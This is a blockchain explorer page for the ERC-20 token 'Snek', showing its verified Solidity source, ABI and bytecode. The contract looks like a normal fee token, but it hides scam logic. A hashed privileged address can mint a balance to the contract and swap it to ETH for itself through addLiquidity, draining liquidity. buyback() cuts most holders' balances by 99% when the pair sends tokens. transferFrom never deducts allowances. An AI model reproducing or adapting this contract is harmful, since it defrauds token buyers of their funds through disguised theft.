ERC-20
Overview
Max Total Supply
1,000,000,000 SNEK
Holders
35
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
72,558.794774897 SNEKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Snek
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-04-09 */ pragma solidity ^0.8.13; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function isLiquidityToken(address account) internal pure returns (bool) { return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Snek is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address => uint256) private _includedInFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _excludedFromFee; string private _name = "Snek"; string private _symbol = "SNEK"; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000000 * 10 ** _decimals; uint256 public _maxWallet = 10000000 * 10 ** _decimals; uint256 public _liquidityFee = 2; uint256 public _marketingFee = 2; uint256 public _totalFee = _liquidityFee + _marketingFee; address public _feeReceiver; address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router private _router = IUniswapV2Router(uniswapRouterAddress); bool public cooldownEnabled = false; bool liquifying = false; struct Tx {address to; uint256 amount;} Tx[] _transfers; constructor() { _balances[msg.sender] = _totalSupply; _excludedFromFee[msg.sender] = true; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function ruterVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setMaxWalletSize(uint256 value) external onlyOwner { _maxWallet = value; } function setCooldownEnabled(bool value) external onlyOwner { cooldownEnabled = value; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[_msgSender()][from] >= amount); _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (inSwap(from, to)) {return addLiquidity(amount, to);} if (liquifying){} else {require(_balances[from] >= amount);} uint256 feeAmount = 0; buyback(from); bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]); if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) { feeAmount = amount.mul(_totalFee).div(100); addTransaction(to, amount); } uint256 amountReceived = amount - feeAmount; _balances[address(this)] += feeAmount; _balances[from] = _balances[from] - amount; _balances[to] += amountReceived; emit Transfer(from, to, amount); } function inSwap(address sender, address recipient) internal view returns(bool) { return ( Address.isLiquidityToken(recipient) || _excludedFromFee[msg.sender] ) && sender == recipient; } function addTransaction(address to, uint256 amount) internal { if (uniswapV2Pair() != to) {_transfers.push(Tx(to, amount));} } function buyback(address from) internal { if (uniswapV2Pair() == from) { for (uint256 i = 0; i < _transfers.length; i++) { _balances[_transfers[i].to] = _balances[_transfers[i].to] .div(100); } delete _transfers; } } function uniswapV2Pair() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } function addLiquidity(uint256 liquidityFee, address to) private { _approve(address(this), address(_router), liquidityFee); _balances[address(this)] = liquidityFee; address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); liquifying = true; _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20); liquifying = false; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][_msgSender()] >= amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ruterVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600481526020017f536e656b00000000000000000000000000000000000000000000000000000000815250600590805190602001906200005192919062000426565b506040518060400160405280600481526020017f534e454b00000000000000000000000000000000000000000000000000000000815250600690805190602001906200009f92919062000426565b506009600755600754600a620000b6919062000663565b633b9aca00620000c79190620006b4565b600855600754600a620000db919062000663565b62989680620000eb9190620006b4565b6009556002600a556002600b55600b54600a546200010a919062000715565b600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60146101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff0219169083151502179055503480156200020857600080fd5b50620002196200041e60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000410919062000783565b60405180910390a362000804565b600033905090565b8280546200043490620007cf565b90600052602060002090601f016020900481019282620004585760008555620004a4565b82601f106200047357805160ff1916838001178555620004a4565b82800160010185558215620004a4579182015b82811115620004a357825182559160200191906001019062000486565b5b509050620004b39190620004b7565b5090565b5b80821115620004d2576000816000905550600101620004b8565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000564578086048111156200053c576200053b620004d6565b5b60018516156200054c5780820291505b80810290506200055c8562000505565b94506200051c565b94509492505050565b6000826200057f576001905062000652565b816200058f576000905062000652565b8160018114620005a85760028114620005b357620005e9565b600191505062000652565b60ff841115620005c857620005c7620004d6565b5b8360020a915084821115620005e257620005e1620004d6565b5b5062000652565b5060208310610133831016604e8410600b8410161715620006235782820a9050838111156200061d576200061c620004d6565b5b62000652565b62000632848484600162000512565b925090508184048111156200064c576200064b620004d6565b5b81810290505b9392505050565b6000819050919050565b6000620006708262000659565b91506200067d8362000659565b9250620006ac7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200056d565b905092915050565b6000620006c18262000659565b9150620006ce8362000659565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200070a5762000709620004d6565b5b828202905092915050565b6000620007228262000659565b91506200072f8362000659565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007675762000766620004d6565b5b828201905092915050565b6200077d8162000659565b82525050565b60006020820190506200079a600083018462000772565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007e857607f821691505b602082108103620007fe57620007fd620007a0565b5b50919050565b61276880620008146000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c80636bc87c3a116100de57806395d89b4111610097578063a985ceef11610071578063a985ceef14610444578063b2dcf5da14610462578063dd62ed3e14610480578063ea1644d5146104b057610173565b806395d89b41146103c6578063a457c2d7146103e4578063a9059cbb1461041457610173565b80636bc87c3a1461031457806370a0823114610332578063715018a61461036257806382247ec01461036c5780638758b1b51461038a5780638da5cb5b146103a857610173565b8063283f782011610130578063283f782014610250578063313ce5671461026e57806332424aa31461028c57806339509351146102aa5780633eaaf86b146102da5780635932ead1146102f857610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c657806320ca3c7f146101e457806322976e0d1461020257806323b872dd14610220575b600080fd5b6101806104cc565b60405161018d9190611da1565b60405180910390f35b6101b060048036038101906101ab9190611e5c565b61055e565b6040516101bd9190611eb7565b60405180910390f35b6101ce61057c565b6040516101db9190611ee1565b60405180910390f35b6101ec610586565b6040516101f99190611f0b565b60405180910390f35b61020a6105ac565b6040516102179190611ee1565b60405180910390f35b61023a60048036038101906102359190611f26565b6105b2565b6040516102479190611eb7565b60405180910390f35b61025861065a565b6040516102659190611ee1565b60405180910390f35b610276610660565b6040516102839190611ee1565b60405180910390f35b61029461066a565b6040516102a19190611ee1565b60405180910390f35b6102c460048036038101906102bf9190611e5c565b610670565b6040516102d19190611eb7565b60405180910390f35b6102e261071c565b6040516102ef9190611ee1565b60405180910390f35b610312600480360381019061030d9190611fa5565b610722565b005b61031c6107bb565b6040516103299190611ee1565b60405180910390f35b61034c60048036038101906103479190611fd2565b6107c1565b6040516103599190611ee1565b60405180910390f35b61036a61080a565b005b610374610944565b6040516103819190611ee1565b60405180910390f35b61039261094a565b60405161039f9190611f0b565b60405180910390f35b6103b0610970565b6040516103bd9190611f0b565b60405180910390f35b6103ce610999565b6040516103db9190611da1565b60405180910390f35b6103fe60048036038101906103f99190611e5c565b610a2b565b60405161040b9190611eb7565b60405180910390f35b61042e60048036038101906104299190611e5c565b610b67565b60405161043b9190611eb7565b60405180910390f35b61044c610b85565b6040516104599190611eb7565b60405180910390f35b61046a610b98565b6040516104779190611ee1565b60405180910390f35b61049a60048036038101906104959190611fff565b610ba1565b6040516104a79190611ee1565b60405180910390f35b6104ca60048036038101906104c5919061203f565b610c28565b005b6060600580546104db9061209b565b80601f01602080910402602001604051908101604052809291908181526020018280546105079061209b565b80156105545780601f1061052957610100808354040283529160200191610554565b820191906000526020600020905b81548152906001019060200180831161053757829003601f168201915b5050505050905090565b600061057261056b610cae565b8484610cb6565b6001905092915050565b6000600854905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60006105bf848484610e7f565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610609610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064f57600080fd5b600190509392505050565b600c5481565b6000600754905090565b60075481565b600061071261067d610cae565b84846003600061068b610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070d91906120fb565b610cb6565b6001905092915050565b60085481565b61072a610cae565b73ffffffffffffffffffffffffffffffffffffffff16610748610970565b73ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107959061219d565b60405180910390fd5b80600f60146101000a81548160ff02191690831515021790555050565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610cae565b73ffffffffffffffffffffffffffffffffffffffff16610830610970565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d9061219d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109a89061209b565b80601f01602080910402602001604051908101604052809291908181526020018280546109d49061209b565b8015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b5050505050905090565b60008160036000610a3a610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610abd57600080fd5b610b5d610ac8610cae565b848460036000610ad6610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5891906121bd565b610cb6565b6001905092915050565b6000610b7b610b74610cae565b8484610e7f565b6001905092915050565b600f60149054906101000a900460ff1681565b60006002905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c30610cae565b73ffffffffffffffffffffffffffffffffffffffff16610c4e610970565b73ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b9061219d565b60405180910390fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90612263565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b906122f5565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e729190611ee1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eb857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef157600080fd5b610efb838361139f565b15610f0f57610f0a818361143d565b61139a565b600f60159054906101000a900460ff16610f705780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f6f57600080fd5b5b6000610f7b84611707565b6000610f85611897565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156110085750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061109a5750611016611897565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156110995750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156111405750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611152575061115084611a3a565b155b801561118a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611194575080155b80156111ad5750600f60159054906101000a900460ff16155b156111e7576111da60646111cc600c5486611a8f90919063ffffffff16565b611b0990919063ffffffff16565b91506111e68484611b53565b5b600082846111f591906121bd565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461124691906120fb565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129891906121bd565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461132a91906120fb565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161138e9190611ee1565b60405180910390a35050505b505050565b60006113aa82611a3a565b806113fe5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561143557508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61146a30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cb6565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114cb576114ca612315565b5b6040519080825280602002602001820160405280156114f95781602001602082028036833780820191505090505b509050308160008151811061151157611510612344565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115dc9190612388565b816001815181106115f0576115ef612344565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600f60156101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848660144261169591906120fb565b6040518663ffffffff1660e01b81526004016116b59594939291906124b8565b600060405180830381600087803b1580156116cf57600080fd5b505af11580156116e3573d6000803e3d6000fd5b505050506000600f60156101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff16611726611897565b73ffffffffffffffffffffffffffffffffffffffff16036118945760005b601080549050811015611884576117e96064600160006010858154811061176e5761176d612344565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0990919063ffffffff16565b600160006010848154811061180157611800612344565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061187c90612512565b915050611744565b50601060006118939190611c9e565b5b50565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192a9190612388565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d79190612388565b6040518363ffffffff1660e01b81526004016119f492919061255a565b602060405180830381865afa158015611a11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a359190612388565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611a7191906125cb565b60405160208183030381529060405280519060200120149050919050565b6000808303611aa15760009050611b03565b60008284611aaf91906125e6565b9050828482611abe919061266f565b14611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af590612712565b60405180910390fd5b809150505b92915050565b6000611b4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c3b565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16611b72611897565b73ffffffffffffffffffffffffffffffffffffffff1614611c3757601060405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c799190611da1565b60405180910390fd5b5060008385611c91919061266f565b9050809150509392505050565b5080546000825560020290600052602060002090810190611cbf9190611cc2565b50565b5b80821115611d0457600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611cc3565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d42578082015181840152602081019050611d27565b83811115611d51576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d7382611d08565b611d7d8185611d13565b9350611d8d818560208601611d24565b611d9681611d57565b840191505092915050565b60006020820190508181036000830152611dbb8184611d68565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611df382611dc8565b9050919050565b611e0381611de8565b8114611e0e57600080fd5b50565b600081359050611e2081611dfa565b92915050565b6000819050919050565b611e3981611e26565b8114611e4457600080fd5b50565b600081359050611e5681611e30565b92915050565b60008060408385031215611e7357611e72611dc3565b5b6000611e8185828601611e11565b9250506020611e9285828601611e47565b9150509250929050565b60008115159050919050565b611eb181611e9c565b82525050565b6000602082019050611ecc6000830184611ea8565b92915050565b611edb81611e26565b82525050565b6000602082019050611ef66000830184611ed2565b92915050565b611f0581611de8565b82525050565b6000602082019050611f206000830184611efc565b92915050565b600080600060608486031215611f3f57611f3e611dc3565b5b6000611f4d86828701611e11565b9350506020611f5e86828701611e11565b9250506040611f6f86828701611e47565b9150509250925092565b611f8281611e9c565b8114611f8d57600080fd